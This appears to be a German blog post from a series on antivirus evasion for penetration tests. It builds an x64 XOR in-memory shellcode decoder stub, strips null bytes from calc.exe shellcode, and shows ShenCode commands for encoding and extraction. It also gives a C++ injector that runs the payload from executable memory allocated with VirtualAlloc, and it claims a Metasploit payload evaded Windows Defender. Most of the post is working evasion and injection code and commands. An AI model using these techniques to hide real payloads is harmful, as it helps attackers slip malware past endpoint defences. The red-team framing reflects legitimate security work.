Red-Teaming und Penetration Tests erfordern häufig das Umgehen von Virenscannern, um wirksam Sicherheitslücken aufdecken zu können. Im letzten Teil haben wir uns mit der Tarnung von Shellcode als UUID im Quellcode befasst. Dies hat auch gut funktioniert, jedoch wurde der Shellcode im Speicher erkannt und blockiert.
Das wollen wir nun mit einem polymorphen In-Memory Decoder lösen: Ein Shellcode, der Shellcode entschlüsselt.
Den XOR-Decoder habe ich von doyler.net übernommen und an die x64-Architektur angepasst. Dies war recht simpel, da nur die entsprechenden Register umbenannt werden mussten. Der Decoder startet mit dieser Anweisung:
_start: jmp short call_decoder ; Begin of JMP-CALL-POP
JMP-CALL-POP
ist eine Technik, welche uns erlaubt Code unabhängig vom Speicher auszuführen. In diesem ersten Schritt springen wir nun zur Sprungmarke call_decoder
call_decoder: call decoder ; RSP points to the next instruction (the shellcode) ; The encoded shellcode Shellcode: db 0x6a,0x77,0xb6...
Hier sehen wir, dass über die CALL
-Anweisung direkt ein anderer Teil des Programms aufgerufen wird. Sobald dies geschieht, speichert das Register RSP
den Pointer zum nächsten Befehl (in unserem Fall der Shellcode) auf dem Stack.
decoder: pop rsi ; Move pointer to encoded shellcode into RSI from the stack
Im aufgerufenem Programmteil sichern wir uns den Pointer vom Stack in das Register RSI
und wissen wo unser Shellcode nun im Speicher zu adressieren ist.
Jetzt geht es weiter zur eigentlichen Entschlüsselungs-Routine:
decode: xor byte [rsi], 0x3F ; The byte RSI points to, will be XORed by 0x3F jz Shellcode ; jump out of the loop if 0: RSI xor 0x3F = 0 inc rsi ; increment RSI to decode the next byte jmp short decode ; loop until each byte was decoded
xor byte [rsi], 0x3F
dekodiert nun das Byte, welches durch RSI
adressiert wird. In diesem Fall ist dies das erste Byte des Shellcodes. Der Schlüssel zum Dekodieren ist 0x3F
und kann entsprechend der ursprünglichen Kodierung geändert werden.
jz Shellcode
prüft nun, ob das dekodierte Byte 0x00
entspricht.
Ist das Ergebnis negativ, springt der Code zur nächsten Anweisung: inc rsi
RSI
wird erhöht und zeigt somit auf das nächste Byte im Shellcode, welches beim nächsten Durchlauf dekodiert wird. jmp short decode
springt zurück zum Anfang der Funktion.
Ist das Ergebnis positiv, wird die Schleife unterbrochen und der Shellcode ausgeführt. Hier ist es wichtig den Schlüssel an den Shellcode anzuhängen, denn:
0x3F XOR 0x3F = 0x00
Dies markiert das Ende des Shellcodes und unterbricht die Schleife. Somit benötigen wir keinen zusätzlichen Zähler.
jz Shellcode
springt nun direkt in unseren dekodierten Shellcode und führt diesen aus.
Wir wollen das calc.exe
Payload aus diesem Blogpost verwenden. Dieser enthält aber noch 0-Bytes, welche die Dekodierung verhindern. Warum ist das so? Ein Beispiel:
# Encoding XOR Key: 0x3F Byte: 0x00 0x00 XOR 0x3F = 0x3F # Decoding XOR Key: 0x3F Byte: 0x3F 0x3F XOR 0x3F = 0x00
Ein 0-Byte würde somit den Enkodierungsvorgang frühzeitig abbrechen, da jz Shellcode
dies als Signal zum beenden ansehen würde. Somit müssen wir noch ein paar Modifizierungen vornehmen.
Der Fix für das GS Register aus dem vorigen Beitrag beseitigt nur $2/3$ 0-Bytes. Für die vorigen Tests war dies ausreichend. Eine kleine Änderung bringt uns hier ans Ziel:
xor rax, rax mov al, 60h mov rax, gs:[rax] ; 65 48 8b 00
ändern in:
xor rax, rax mov rax, gs:[rax+0x60] ; 65 48 8b 40 60
Dies verkleinert auch gleich unseren Shellcode ein wenig.
Bei der Suche nach Kernel32Base
benutzen wir nur das Register RAX
ohne Berechnung. Auch dies führt zu einem 0-Byte. Hier können wir jedoch das Register RBX
zur Hilfe nehmen und so die 0-Bytes vermeiden.
mov rax, [rax] ; 48 8b 00 mov rax, [rax] ; 48 8b 00
ändern in:
mov rbx, [rax] ; 48 8b 18 mov rax, [rbx] ; 48 8b 03
jmp short InvokeWinExec ; eb 00
Hier springt der Code zur nächsten Anweisung. Da der Code dies auch ohne JMP
macht, können wir die Zeile auskommentieren.
Den Code können wir kompilieren und erhalten einen sauberen Op-Code.
nasm -f win64 calc.asm -o calc.o
Den Op-Code müssen wir nun noch etwas bearbeiten, um ihn im Decoder nutzen zu können. Hierzu nutze ich mein ShellCode-Tool ShenCode:
python shencode.py extract -i calc.o -o calc.raw -fb 60 -lb 311 ... python shencode.py xorenc -f calc.raw -o calc.xor -k 63 ... python shencode.py formatout -i calc.xor -s cs [*] processing shellcode format... 0x6a,0x77,0xb6, ... 0x07,0x77,0xbc,0xfb,0x27,0x77,0xbc,0xfb,0x37,0x62 [+] DONE!
Schritt für Schritt:
calc.o
und speichern diesen in calc.raw
(von Offset 60
bis 311
)63
und speichern das Ergebnis in calc.xor
, 63
dezimal entspricht 3F
Hexadezimal
Die Ausgabe sichern wir uns, entfernen die Zeilenumbrüche und hängen unser „Magic-Byte“ 0x3F
ans Ende an.
Jetzt können wir unsere Payload zum XOR-Decoder hinzufügen. Hierzu kopieren wir den vorher aufbereiteten Code in die letzte Anweisung des XOR-Decoders:
; The encoded shellcode Shellcode: db 0x6a,0x77,0xb6,...0x37,0x62,0x3f
Zusätzlich kontrollieren wir, ob der XOR-Key passt:
decode: xor byte [rsi], 0x3F
Wenn alles richtig ist, kompilieren wir unseren Decoder:
nasm -f win64 xor-decoder.asm -o xor-decoder.o
Anschließend suchen wir nach den Shellcode-Offsets, extrahieren unseren Code und bereiten diesen für unsere Inject.cpp
vor:
python shencode.py formatout -i xor-decoder.o -s inspect 0x00000048: 00 00 00 00 00 00 00 00 0x00000056: 20 00 50 60 eb 0b 5e 80 Offset=60 0x00000064: 36 3f 74 0a 48 ff c6 eb ... 0x00000320: bc fb 27 77 bc fb 37 62 0x00000328: 3f 2e 66 69 6c 65 00 00 Offset=329 0x00000336: 00 00 00 00 00 fe ff 00 python shencode.py extract -i xor-decoder.o -o xor-decoder.stub -fb 60 -lb 329 [*] try to open file [+] reading xor-decoder.o successful! [*] cutting shellcode from 60 to 329 [+] written shellcode to xor-decoder.stub [+] DONE! python shencode.py formatout -i xor-decoder.stub -s c [*] processing shellcode format... "\xeb\x0b\x5e...\x37\x62\x3f""; [+] DONE!
Die eben aufbereiteten Bytes können wir nun in unser Injector Programm einfügen und auch dieses kompilieren.
#include <stdio.h> #include <windows.h> #include <iostream> #pragma warning unsigned char payload[] = "\xeb\x0b\x5e...\x37\x62\x3f"; int main() { size_t byteArrayLength = sizeof(payload); std::cout << "[x] Payload size: " << byteArrayLength << " bytes" << std::endl; void* (*memcpyPtr) (void*, const void*, size_t); void* exec = VirtualAlloc(0, byteArrayLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpyPtr = &memcpy; memcpyPtr(exec, payload, byteArrayLength); ((void(*)())exec)(); return 0; }
Zum testen habe ich einen Debugger gestartet und navigiere nun zum Speicherbereich des XOR-Decoders. Während des Debugs kann man Schritt-für-Schritt sehen, wie die Anweisungen im unteren Bereich entschlüsselt werden. Ersichtlich wird dies an den Bildern, unterhalb der call
Anweisung (was Shellcode: db ...
entspricht).
Die Animation zeigt oben den Durchlauf der Dekodierungs-Schleife, während der Shellcode im unteren Bereich schrittweise dekodiert wird.
Um den Prozess zu vereinfachen, habe ich den XOR-Stub als Template in ShenCode integriert. Mit zwei Befehlen generieren wir hiermit einen XOR In-Memory Decoder:
python shencode.py xorencode -i input.raw -o xor.out --key 63 python shencode.py xorpoly -i xor.out -o stub.raw --key 63
Der XOR-Decoder stellt einen wirksamen Speicherschutz dar. In Verbindung mit anderen Obfuscation Techniken, kann dies ein guter Helfer für Penetration Tests sein. Während meines Tests wurde selbst das Metasploit Payload nicht vom Windows Defender erkannt.